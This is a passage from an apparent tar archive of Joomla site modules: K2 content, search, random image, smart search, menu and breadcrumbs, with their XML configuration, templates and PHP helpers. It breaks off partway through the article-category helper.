                <field name="itemTags" type="radio" default="1" label="K2_TAGS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemCategory" type="radio" default="1" label="K2_CATEGORY" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemDateCreated" type="radio" default="1" label="K2_CREATED_DATE_AND_TIME" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemHits" type="radio" default="1" label="K2_HITS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemReadMore" type="radio" default="1" label="K2_READ_MORE_LINK" description="K2_THIS_OPTION_IS_NOT_APPLICABLE_FOR_AN_ITEM_IN_WHICH_THE_FULLTEXT_BLOCK_IS_EMPTY" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemExtraFields" type="radio" default="0" label="K2_EXTRA_FIELDS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemCommentsCounter" type="radio" default="1" label="K2_COMMENTS_COUNTER_AND_ANCHOR_LINK" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="" type="header" default="K2_OTHER_OPTIONS" label="" description=""/>
                <field name="feed" type="radio" default="1" label="K2_AUTOGENERATED_RSS_FEED_ICON" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemPreText" type="textarea" default="" label="K2_DESCRIPTION_TEXT_AT_THE_TOP_OPTIONAL" description="" cols="40" rows="4" filter="raw"/>
                <field name="itemCustomLink" type="radio" default="0" label="K2_CUSTOM_LINK_AT_THE_BOTTOM" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemCustomLinkTitle" type="text" default="" label="K2_CUSTOM_LINK_TITLE" description="K2_CUSTOM_LINK_TITLE_DESC"/>
                <field name="itemCustomLinkURL" type="text" default="http://" label="K2_CUSTOM_LINK_URL" description="K2_CUSTOM_LINK_URL_DESC"/>
                <field name="itemCustomLinkMenuItem" type="menuitem" default="" label="K2_OR_SELECT_A_MENU_ITEM" description=""/>
            </fieldset>
            <fieldset name="advanced">
                <field name="K2Plugins" type="radio" default="1" label="K2_ENABLE_K2_PLUGINS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="JPlugins" type="radio" default="1" label="K2_ENABLE_JOOMLA_CONTENT_PLUGINS" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
                <field name="cache" type="list" default="1" label="K2_CACHING" description="K2_SELECT_WHETHER_TO_CACHE_THE_CONTENT_OF_THIS_MODULE">
                    <option value="1">K2_USE_GLOBAL</option>
                    <option value="0">K2_NO_CACHING</option>
                </field>
                <field name="cache_time" type="text" default="900" label="K2_CACHE_TIME" description="K2_THE_TIME_IN_SECONDS_BEFORE_THE_MODULE_IS_RECACHED"/>
            </fieldset>
        </fields>
    </config>
</extension>mod_k2_content/mod_k2_content.php000060400000004273150746170540013102 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

if (K2_JVERSION != '15') {
    $language = JFactory::getLanguage();
    $language->load('com_k2.dates', JPATH_ADMINISTRATOR, null, true);
}

require_once(dirname(__FILE__).'/helper.php');

// Params
$moduleclass_sfx = $params->get('moduleclass_sfx', '');
$getTemplate = $params->get('getTemplate', 'Default');
$itemAuthorAvatarWidthSelect = $params->get('itemAuthorAvatarWidthSelect', 'custom');
$itemAuthorAvatarWidth = $params->get('itemAuthorAvatarWidth', 50);
$itemCustomLinkTitle = $params->get('itemCustomLinkTitle', '');
$itemCustomLinkURL = trim($params->get('itemCustomLinkURL'));
$itemCustomLinkMenuItem = $params->get('itemCustomLinkMenuItem');

if ($itemCustomLinkURL && ($itemCustomLinkURL!='http://' || $itemCustomLinkURL!='https://')) {
    if ($itemCustomLinkTitle=='') {
        if (strpos($itemCustomLinkURL, '://')!==false) {
            $linkParts = explode('://', $itemCustomLinkURL);
            $itemCustomLinkURL = $linkParts[1];
        }
        $itemCustomLinkTitle = $itemCustomLinkURL;
    }
} elseif ($itemCustomLinkMenuItem) {
    $menu = JMenu::getInstance('site');
    $menuLink = $menu->getItem($itemCustomLinkMenuItem);
    if (!$itemCustomLinkTitle) {
        $itemCustomLinkTitle = (K2_JVERSION != '15') ? $menuLink->title : $menuLink->name;
    }
    $itemCustomLinkURL = JRoute::_('index.php?&Itemid='.$menuLink->id);
}

// Make params backwards compatible
$params->set('itemCustomLinkTitle', $itemCustomLinkTitle);
$params->set('itemCustomLinkURL', $itemCustomLinkURL);

// Get component params
$componentParams = JComponentHelper::getParams('com_k2');

// User avatar
if ($itemAuthorAvatarWidthSelect == 'inherit') {
    $avatarWidth = $componentParams->get('userImageWidth');
} else {
    $avatarWidth = $itemAuthorAvatarWidth;
}

$items = modK2ContentHelper::getItems($params);

if (count($items)) {
    require(JModuleHelper::getLayoutPath('mod_k2_content', $getTemplate.'/default'));
}
mod_search/mod_search.xml000064400000010775150746170540011521 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_search</name>
	<author>Joomla! Project</author>
	<creationDate>July 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_SEARCH_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_search">mod_search.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_search.ini</language>
		<language tag="en-GB">en-GB.mod_search.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_SEARCH" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="label"
					type="label"
					label="MOD_SEARCH_FIELD_LABEL_TEXT_LABEL"
					description="MOD_SEARCH_FIELD_LABEL_TEXT_DESC"
				/>

				<field
					name="width"
					type="number"
					label="MOD_SEARCH_FIELD_BOXWIDTH_LABEL"
					description="MOD_SEARCH_FIELD_BOXWIDTH_DESC"
					filter="integer"
				/>

				<field
					name="text"
					type="text"
					label="MOD_SEARCH_FIELD_TEXT_LABEL"
					description="MOD_SEARCH_FIELD_TEXT_DESC"
				/>

				<field
					name="button"
					type="radio"
					label="MOD_SEARCH_FIELD_BUTTON_LABEL"
					description="MOD_SEARCH_FIELD_BUTTON_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="button_pos"
					type="list"
					label="MOD_SEARCH_FIELD_BUTTONPOS_LABEL"
					description="MOD_SEARCH_FIELD_BUTTONPOS_DESC"
					default="left"
					showon="button:1"
					>
					<option value="right">MOD_SEARCH_FIELD_VALUE_RIGHT</option>
					<option value="left">MOD_SEARCH_FIELD_VALUE_LEFT</option>
					<option value="top">MOD_SEARCH_FIELD_VALUE_TOP</option>
					<option value="bottom">MOD_SEARCH_FIELD_VALUE_BOTTOM</option>
				</field>

				<field
					name="imagebutton"
					type="radio"
					label="MOD_SEARCH_FIELD_IMAGEBUTTON_LABEL"
					description="MOD_SEARCH_FIELD_IMAGEBUTTON_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					showon="button:1"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="button_text"
					type="text"
					label="MOD_SEARCH_FIELD_BUTTONTEXT_LABEL"
					description="MOD_SEARCH_FIELD_BUTTONTEXT_DESC"
					showon="button:1"
				/>

				<field
					name="opensearch"
					type="radio"
					label="MOD_SEARCH_FIELD_OPENSEARCH_LABEL"
					description="MOD_SEARCH_FIELD_OPENSEARCH_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="opensearch_title"
					type="text"
					label="MOD_SEARCH_FIELD_OPENSEARCH_TEXT_LABEL"
					description="MOD_SEARCH_FIELD_OPENSEARCH_TEXT_DESC"
					showon="opensearch:1"
				/>

				<field
					name="set_itemid"
					type="menuitem"
					label="MOD_SEARCH_FIELD_SETITEMID_LABEL"
					description="MOD_SEARCH_FIELD_SETITEMID_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">MOD_SEARCH_SELECT_MENU_ITEMID</option>
				</field>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="itemid"
					>
					<option value="itemid"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_search/mod_search.php000064400000003672150746170540011506 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_search
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the search functions only once
JLoader::register('ModSearchHelper', __DIR__ . '/helper.php');

$lang       = JFactory::getLanguage();
$app        = JFactory::getApplication();
$set_Itemid = (int) $params->get('set_itemid', 0);
$mitemid    = $set_Itemid > 0 ? $set_Itemid : $app->input->getInt('Itemid');

if ($params->get('opensearch', 1))
{
	$doc = JFactory::getDocument();

	$ostitle = $params->get('opensearch_title', JText::_('MOD_SEARCH_SEARCHBUTTON_TEXT') . ' ' . $app->get('sitename'));
	$doc->addHeadLink(
			JUri::getInstance()->toString(array('scheme', 'host', 'port'))
			. JRoute::_('&option=com_search&format=opensearch&Itemid=' . $mitemid), 'search', 'rel',
			array(
				'title' => htmlspecialchars($ostitle, ENT_COMPAT, 'UTF-8'),
				'type' => 'application/opensearchdescription+xml'
			)
		);
}

$upper_limit     = $lang->getUpperLimitSearchWord();
$button          = $params->get('button', 0);
$imagebutton     = $params->get('imagebutton', 0);
$button_pos      = $params->get('button_pos', 'left');
$button_text     = htmlspecialchars($params->get('button_text', JText::_('MOD_SEARCH_SEARCHBUTTON_TEXT')), ENT_COMPAT, 'UTF-8');
$width           = (int) $params->get('width');
$maxlength       = $upper_limit;
$text            = htmlspecialchars($params->get('text', JText::_('MOD_SEARCH_SEARCHBOX_TEXT')), ENT_COMPAT, 'UTF-8');
$label           = htmlspecialchars($params->get('label', JText::_('MOD_SEARCH_LABEL_TEXT')), ENT_COMPAT, 'UTF-8');
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');

if ($imagebutton)
{
	$img = ModSearchHelper::getSearchImage();
}

require JModuleHelper::getLayoutPath('mod_search', $params->get('layout', 'default'));
mod_search/tmpl/default.php000064400000004227150746170540011777 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Including fallback code for the placeholder attribute in the search field.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js', array('version' => 'auto', 'relative' => true, 'conditional' => 'lt IE 9'));

if ($width)
{
	$moduleclass_sfx .= ' ' . 'mod_search' . $module->id;
	$css = 'div.mod_search' . $module->id . ' input[type="search"]{ width:auto; }';
	JFactory::getDocument()->addStyleDeclaration($css);
	$width = ' size="' . $width . '"';
}
else
{
	$width = '';
}
?>
<div class="search<?php echo $moduleclass_sfx; ?>">
	<form action="<?php echo JRoute::_('index.php'); ?>" method="post" class="form-inline" role="search">
		<?php
			$output = '<label for="mod-search-searchword' . $module->id . '" class="element-invisible">' . $label . '</label> ';
			$output .= '<input name="searchword" id="mod-search-searchword' . $module->id . '" maxlength="' . $maxlength . '"  class="inputbox search-query input-medium" type="search"' . $width;
			$output .= ' placeholder="' . $text . '" />';

			if ($button) :
				if ($imagebutton) :
					$btn_output = ' <input type="image" alt="' . $button_text . '" class="button" src="' . $img . '" onclick="this.form.searchword.focus();"/>';
				else :
					$btn_output = ' <button class="button btn btn-primary" onclick="this.form.searchword.focus();">' . $button_text . '</button>';
				endif;

				switch ($button_pos) :
					case 'top' :
						$output = $btn_output . '<br />' . $output;
						break;

					case 'bottom' :
						$output .= '<br />' . $btn_output;
						break;

					case 'right' :
						$output .= $btn_output;
						break;

					case 'left' :
					default :
						$output = $btn_output . $output;
						break;
				endswitch;
			endif;

			echo $output;
		?>
		<input type="hidden" name="task" value="search" />
		<input type="hidden" name="option" value="com_search" />
		<input type="hidden" name="Itemid" value="<?php echo $mitemid; ?>" />
	</form>
</div>
mod_search/helper.php000064400000001074150746170540010653 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_search
 *
 * @since  1.5
 */
class ModSearchHelper
{
	/**
	 * Display the search button as an image.
	 *
	 * @return  string  The HTML for the image.
	 *
	 * @since   1.5
	 */
	public static function getSearchImage()
	{
		return JHtml::_('image', 'searchButton.gif', '', null, true, true);
	}
}
mod_random_image/helper.php000064400000005706150746170540012036 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_random_image
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

/**
 * Helper for mod_random_image
 *
 * @since  1.5
 */
class ModRandomImageHelper
{
	/**
	 * Retrieves a random image
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters object
	 * @param   array                      $images   list of images
	 *
	 * @return  mixed
	 */
	public static function getRandomImage(&$params, $images)
	{
		$width  = $params->get('width', 100);
		$height = $params->get('height', null);

		$i      = count($images);
		$random = mt_rand(0, $i - 1);
		$image  = $images[$random];
		$size   = getimagesize(JPATH_BASE . '/' . $image->folder . '/' . $image->name);

		if ($size[0] < $width)
		{
			$width = $size[0];
		}

		$coeff = $size[0] / $size[1];

		if ($height === null)
		{
			$height = (int) ($width / $coeff);
		}
		else
		{
			$newheight = min($height, (int) ($width / $coeff));

			if ($newheight < $height)
			{
				$height = $newheight;
			}
			else
			{
				$width = $height * $coeff;
			}
		}

		$image->width  = $width;
		$image->height = $height;
		$image->folder = str_replace('\\', '/', $image->folder);

		return $image;
	}

	/**
	 * Retrieves images from a specific folder
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module params
	 * @param   string                     $folder   folder to get the images from
	 *
	 * @return array
	 */
	public static function getImages(&$params, $folder)
	{
		$type   = $params->get('type', 'jpg');
		$files  = array();
		$images = array();

		$dir = JPATH_BASE . '/' . $folder;

		// Check if directory exists
		if (is_dir($dir))
		{
			if ($handle = opendir($dir))
			{
				while (false !== ($file = readdir($handle)))
				{
					if ($file !== '.' && $file !== '..' && $file !== 'CVS' && $file !== 'index.html')
					{
						$files[] = $file;
					}
				}
			}

			closedir($handle);

			$i = 0;

			foreach ($files as $img)
			{
				if (!is_dir($dir . '/' . $img) && preg_match('/' . $type . '/', $img))
				{
					$images[$i] = new stdClass;

					$images[$i]->name   = $img;
					$images[$i]->folder = $folder;
					$i++;
				}
			}
		}

		return $images;
	}

	/**
	 * Get sanitized folder
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module params objects
	 *
	 * @return  mixed
	 */
	public static function getFolder(&$params)
	{
		$folder   = $params->get('folder');
		$LiveSite = JUri::base();

		// If folder includes livesite info, remove
		if (StringHelper::strpos($folder, $LiveSite) === 0)
		{
			$folder = str_replace($LiveSite, '', $folder);
		}

		// If folder includes absolute path, remove
		if (StringHelper::strpos($folder, JPATH_SITE) === 0)
		{
			$folder = str_replace(JPATH_BASE, '', $folder);
		}

		return str_replace(array('\\', '/'), DIRECTORY_SEPARATOR, $folder);
	}
}
mod_finder/helper.php000064400000004533150746170540010660 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Finder module helper.
 *
 * @since  2.5
 */
class ModFinderHelper
{
	/**
	 * Method to get hidden input fields for a get form so that control variables
	 * are not lost upon form submission.
	 *
	 * @param   string   $route      The route to the page. [optional]
	 * @param   integer  $paramItem  The menu item ID. (@since 3.1) [optional]
	 *
	 * @return  string  A string of hidden input form fields
	 *
	 * @since   2.5
	 */
	public static function getGetFields($route = null, $paramItem = 0)
	{
		// Determine if there is an item id before routing.
		$needId = !JUri::getInstance($route)->getVar('Itemid');

		$fields = array();
		$uri = JUri::getInstance(JRoute::_($route));
		$uri->delVar('q');

		// Create hidden input elements for each part of the URI.
		foreach ($uri->getQuery(true) as $n => $v)
		{
			$fields[] = '<input type="hidden" name="' . $n . '" value="' . $v . '" />';
		}

		// Add a field for Itemid if we need one.
		if ($needId)
		{
			$id       = $paramItem ?: JFactory::getApplication()->input->get('Itemid', '0', 'int');
			$fields[] = '<input type="hidden" name="Itemid" value="' . $id . '" />';
		}

		return implode('', $fields);
	}

	/**
	 * Get Smart Search query object.
	 *
	 * @param   \Joomla\Registry\Registry  $params  Module parameters.
	 *
	 * @return  FinderIndexerQuery object
	 *
	 * @since   2.5
	 */
	public static function getQuery($params)
	{
		$app     = JFactory::getApplication();
		$input   = $app->input;
		$request = $input->request;
		$filter  = JFilterInput::getInstance();

		// Get the static taxonomy filters.
		$options = array();
		$options['filter'] = ($request->get('f', 0, 'int') !== 0) ? $request->get('f', '', 'int') : $params->get('searchfilter');
		$options['filter'] = $filter->clean($options['filter'], 'int');

		// Get the dynamic taxonomy filters.
		$options['filters'] = $request->get('t', '', 'array');
		$options['filters'] = $filter->clean($options['filters'], 'array');
		$options['filters'] = ArrayHelper::toInteger($options['filters']);

		// Instantiate a query object.
		return new FinderIndexerQuery($options);
	}
}
mod_menu/helper.php000064400000014531150746170540010354 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_menu
 *
 * @since  1.5
 */
class ModMenuHelper
{
	/**
	 * Get a list of the menu items.
	 *
	 * @param   \Joomla\Registry\Registry  &$params  The module options.
	 *
	 * @return  array
	 *
	 * @since   1.5
	 */
	public static function getList(&$params)
	{
		$app = JFactory::getApplication();
		$menu = $app->getMenu();

		// Get active menu item
		$base = self::getBase($params);
		$user = JFactory::getUser();
		$levels = $user->getAuthorisedViewLevels();
		asort($levels);
		$key = 'menu_items' . $params . implode(',', $levels) . '.' . $base->id;
		$cache = JFactory::getCache('mod_menu', '');

		if ($cache->contains($key))
		{
			$items = $cache->get($key);
		}
		else
		{
			$path           = $base->tree;
			$start          = (int) $params->get('startLevel', 1);
			$end            = (int) $params->get('endLevel', 0);
			$showAll        = $params->get('showAllChildren', 1);
			$items          = $menu->getItems('menutype', $params->get('menutype'));
			$hidden_parents = array();
			$lastitem       = 0;

			if ($items)
			{
				foreach ($items as $i => $item)
				{
					$item->parent = false;

					if (isset($items[$lastitem]) && $items[$lastitem]->id == $item->parent_id && $item->params->get('menu_show', 1) == 1)
					{
						$items[$lastitem]->parent = true;
					}

					if (($start && $start > $item->level)
						|| ($end && $item->level > $end)
						|| (!$showAll && $item->level > 1 && !in_array($item->parent_id, $path))
						|| ($start > 1 && !in_array($item->tree[$start - 2], $path)))
					{
						unset($items[$i]);
						continue;
					}

					// Exclude item with menu item option set to exclude from menu modules
					if (($item->params->get('menu_show', 1) == 0) || in_array($item->parent_id, $hidden_parents))
					{
						$hidden_parents[] = $item->id;
						unset($items[$i]);
						continue;
					}

					$item->deeper     = false;
					$item->shallower  = false;
					$item->level_diff = 0;

					if (isset($items[$lastitem]))
					{
						$items[$lastitem]->deeper     = ($item->level > $items[$lastitem]->level);
						$items[$lastitem]->shallower  = ($item->level < $items[$lastitem]->level);
						$items[$lastitem]->level_diff = ($items[$lastitem]->level - $item->level);
					}

					$lastitem     = $i;
					$item->active = false;
					$item->flink  = $item->link;

					// Reverted back for CMS version 2.5.6
					switch ($item->type)
					{
						case 'separator':
							break;

						case 'heading':
							// No further action needed.
							break;

						case 'url':
							if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false))
							{
								// If this is an internal Joomla link, ensure the Itemid is set.
								$item->flink = $item->link . '&Itemid=' . $item->id;
							}
							break;

						case 'alias':
							$item->flink = 'index.php?Itemid=' . $item->params->get('aliasoptions');

							// Get the language of the target menu item when site is multilingual
							if (JLanguageMultilang::isEnabled())
							{
								$newItem = JFactory::getApplication()->getMenu()->getItem((int) $item->params->get('aliasoptions'));

								// Use language code if not set to ALL
								if ($newItem != null && $newItem->language && $newItem->language !== '*')
								{
									$item->flink .= '&lang=' . $newItem->language;
								}
							}
							break;

						default:
							$item->flink = 'index.php?Itemid=' . $item->id;
							break;
					}

					if ((strpos($item->flink, 'index.php?') !== false) && strcasecmp(substr($item->flink, 0, 4), 'http'))
					{
						$item->flink = JRoute::_($item->flink, true, $item->params->get('secure'));
					}
					else
					{
						$item->flink = JRoute::_($item->flink);
					}

					// We prevent the double encoding because for some reason the $item is shared for menu modules and we get double encoding
					// when the cause of that is found the argument should be removed
					$item->title          = htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8', false);
					$item->anchor_css     = htmlspecialchars($item->params->get('menu-anchor_css', ''), ENT_COMPAT, 'UTF-8', false);
					$item->anchor_title   = htmlspecialchars($item->params->get('menu-anchor_title', ''), ENT_COMPAT, 'UTF-8', false);
					$item->anchor_rel     = htmlspecialchars($item->params->get('menu-anchor_rel', ''), ENT_COMPAT, 'UTF-8', false);
					$item->menu_image     = $item->params->get('menu_image', '') ?
						htmlspecialchars($item->params->get('menu_image', ''), ENT_COMPAT, 'UTF-8', false) : '';
					$item->menu_image_css = htmlspecialchars($item->params->get('menu_image_css', ''), ENT_COMPAT, 'UTF-8', false);
				}

				if (isset($items[$lastitem]))
				{
					$items[$lastitem]->deeper     = (($start ?: 1) > $items[$lastitem]->level);
					$items[$lastitem]->shallower  = (($start ?: 1) < $items[$lastitem]->level);
					$items[$lastitem]->level_diff = ($items[$lastitem]->level - ($start ?: 1));
				}
			}

			$cache->store($items, $key);
		}

		return $items;
	}

	/**
	 * Get base menu item.
	 *
	 * @param   \Joomla\Registry\Registry  &$params  The module options.
	 *
	 * @return  object
	 *
	 * @since	3.0.2
	 */
	public static function getBase(&$params)
	{
		// Get base menu item from parameters
		if ($params->get('base'))
		{
			$base = JFactory::getApplication()->getMenu()->getItem($params->get('base'));
		}
		else
		{
			$base = false;
		}

		// Use active menu item if no base found
		if (!$base)
		{
			$base = self::getActive($params);
		}

		return $base;
	}

	/**
	 * Get active menu item.
	 *
	 * @param   \Joomla\Registry\Registry  &$params  The module options.
	 *
	 * @return  object
	 *
	 * @since	3.0.2
	 */
	public static function getActive(&$params)
	{
		$menu = JFactory::getApplication()->getMenu();

		return $menu->getActive() ?: self::getDefault();
	}

	/**
	 * Get default menu item (home page) for current language.
	 *
	 * @return  object
	 */
	public static function getDefault()
	{
		$menu = JFactory::getApplication()->getMenu();
		$lang = JFactory::getLanguage();

		// Look for the home menu
		if (JLanguageMultilang::isEnabled())
		{
			return $menu->getDefault($lang->getTag());
		}
		else
		{
			return $menu->getDefault();
		}
	}
}
mod_breadcrumbs/helper.php000064400000004625150746170540011704 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_breadcrumbs
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_breadcrumbs
 *
 * @since  1.5
 */
class ModBreadCrumbsHelper
{
	/**
	 * Retrieve breadcrumb items
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return array
	 */
	public static function getList(&$params)
	{
		// Get the PathWay object from the application
		$app     = JFactory::getApplication();
		$pathway = $app->getPathway();
		$items   = $pathway->getPathWay();
		$lang    = JFactory::getLanguage();
		$menu    = $app->getMenu();

		// Look for the home menu
		if (JLanguageMultilang::isEnabled())
		{
			$home = $menu->getDefault($lang->getTag());
		}
		else
		{
			$home  = $menu->getDefault();
		}

		$count = count($items);

		// Don't use $items here as it references JPathway properties directly
		$crumbs = array();

		for ($i = 0; $i < $count; $i ++)
		{
			$crumbs[$i]       = new stdClass;
			$crumbs[$i]->name = stripslashes(htmlspecialchars($items[$i]->name, ENT_COMPAT, 'UTF-8'));
			$crumbs[$i]->link = !is_null($items[$i]->link) ? JRoute::_($items[$i]->link) : '';
		}

		if ($params->get('showHome', 1))
		{
			$item       = new stdClass;
			$item->name = htmlspecialchars($params->get('homeText', JText::_('MOD_BREADCRUMBS_HOME')), ENT_COMPAT, 'UTF-8');
			$item->link = JRoute::_('index.php?Itemid=' . $home->id);
			array_unshift($crumbs, $item);
		}

		return $crumbs;
	}

	/**
	 * Set the breadcrumbs separator for the breadcrumbs display.
	 *
	 * @param   string  $custom  Custom xhtml compliant string to separate the items of the breadcrumbs
	 *
	 * @return  string	Separator string
	 *
	 * @since   1.5
	 */
	public static function setSeparator($custom = null)
	{
		$lang = JFactory::getLanguage();

		// If a custom separator has not been provided we try to load a template
		// specific one first, and if that is not present we load the default separator
		if ($custom === null)
		{
			if ($lang->isRtl())
			{
				$_separator = JHtml::_('image', 'system/arrow_rtl.png', null, null, true);
			}
			else
			{
				$_separator = JHtml::_('image', 'system/arrow.png', null, null, true);
			}
		}
		else
		{
			$_separator     = htmlspecialchars($custom, ENT_COMPAT, 'UTF-8');
		}

		return $_separator;
	}
}
mod_articles_category/helper.php000064400000034742150746170540013121 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_category
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

$com_path = JPATH_SITE . '/components/com_content/';

JLoader::register('ContentHelperRoute', $com_path . 'helpers/route.php');
JModelLegacy::addIncludePath($com_path . 'models', 'ContentModel');

/**
 * Helper for mod_articles_category
 *
 * @since  1.6
 */
abstract class ModArticlesCategoryHelper
{
	/**
	 * Get a list of articles from a specific category
	 *
	 * @param   \Joomla\Registry\Registry  &$params  object holding the models parameters
	 *
	 * @return  mixed
	 *
	 * @since  1.6
	 */
	public static function getList(&$params)
	{
		// Get an instance of the generic articles model
		$articles = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		// Set application parameters in model
		$app       = JFactory::getApplication();
		$appParams = $app->getParams();
		$articles->setState('params', $appParams);

		$articles->setState('list.start', 0);
		$articles->setState('filter.published', 1);

		// Set the filters based on the module params
		$articles->setState('list.limit', (int) $params->get('count', 0));
		$articles->setState('load_tags', $params->get('show_tags', 0) || $params->get('article_grouping', 'none') === 'tags');

		// Access filter
		$access     = !JComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id'));
		$articles->setState('filter.access', $access);

		// Prep for Normal or Dynamic Modes
		$mode = $params->get('mode', 'normal');

		switch ($mode)
		{
			case 'dynamic' :
				$option = $app->input->get('option');
				$view   = $app->input->get('view');

				if ($option === 'com_content')
				{
					switch ($view)
					{
						case 'category' :
						case 'categories' :
							$catids = array($app->input->getInt('id'));
							break;
						case 'article' :
							if ($params->get('show_on_article_page', 1))
							{
								$article_id = $app->input->getInt('id');
								$catid      = $app->input->getInt('catid');

								if (!$catid)
								{
									// Get an instance of the generic article model
									$article = JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request' => true));

									$article->setState('params', $appParams);
